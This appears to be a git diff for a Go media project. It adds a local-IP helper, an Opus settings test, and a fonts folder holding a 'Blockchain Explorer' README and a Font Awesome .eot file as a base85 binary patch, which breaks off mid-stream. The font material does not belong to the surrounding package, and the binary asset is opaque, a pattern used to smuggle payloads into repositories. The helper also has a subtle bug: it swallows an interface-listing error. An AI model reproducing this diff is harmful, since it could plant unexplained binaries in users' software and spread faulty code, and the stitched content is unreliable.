+func GetLocalIP() (netip.Addr, error) { + ifaces, err := net.Interfaces() + if err != nil { + return netip.Addr{}, nil + } + type Iface struct { + Name string + Addr netip.Addr + } + var candidates []Iface + for _, ifc := range ifaces { + if ifc.Flags&net.FlagUp == 0 || ifc.Flags&net.FlagRunning == 0 { + continue + } + if ifc.Flags&(net.FlagPointToPoint|net.FlagLoopback) != 0 { + continue + } + addrs, err := ifc.Addrs() + if err != nil { + continue + } + for _, addr := range addrs { + ipnet, ok := addr.(*net.IPNet) + if !ok { + continue + } + if ip4 := ipnet.IP.To4(); ip4 != nil { + ip, _ := netip.AddrFromSlice(ip4) + candidates = append(candidates, Iface{ + Name: ifc.Name, Addr: ip, + }) + logger.Debugw("considering interface", "iface", ifc.Name, "ip", ip) + } + } + } + if len(candidates) == 0 { + return netip.Addr{}, fmt.Errorf("no local IP found") + } + return candidates[0].Addr, nil +} diff --git a/pkg/config/config_opus_test.go b/pkg/config/config_opus_test.go new file mode 100644 index 000000000..84f022690 --- /dev/null +++ b/pkg/config/config_opus_test.go @@ -0,0 +1,37 @@ +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package config + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestUnsupportedOpusSettingsAreRejected(t *testing.T) { + tests := map[string]OpusConfig{ + "bitrate": {Bitrate: 24000}, + "complexity": {Complexity: 5}, + "fec": {FEC: true}, + "packet loss": {PacketLossPercent: 10}, + } + for name, opus := range tests { + t.Run(name, func(t *testing.T) { + conf := Config{Opus: opus} + err := conf.Init() + require.ErrorContains(t, err, "not supported by the current media-sdk") + }) + } +} diff --git a/pkg/media/opus/public/fonts/README.md b/pkg/media/opus/public/fonts/README.md new file mode 100644 index 000000000..1fb874ba8 --- /dev/null +++ b/pkg/media/opus/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/pkg/media/opus/public/fonts/fa-brands-400.eot b/pkg/media/opus/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000000000000000000000000000000000000..a1bc094ab14d8c7d84d8c59aa511de9e69440d0a GIT binary patch literal 133034 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℘oIO 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 |xk~oikk&D!xjeU;p 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 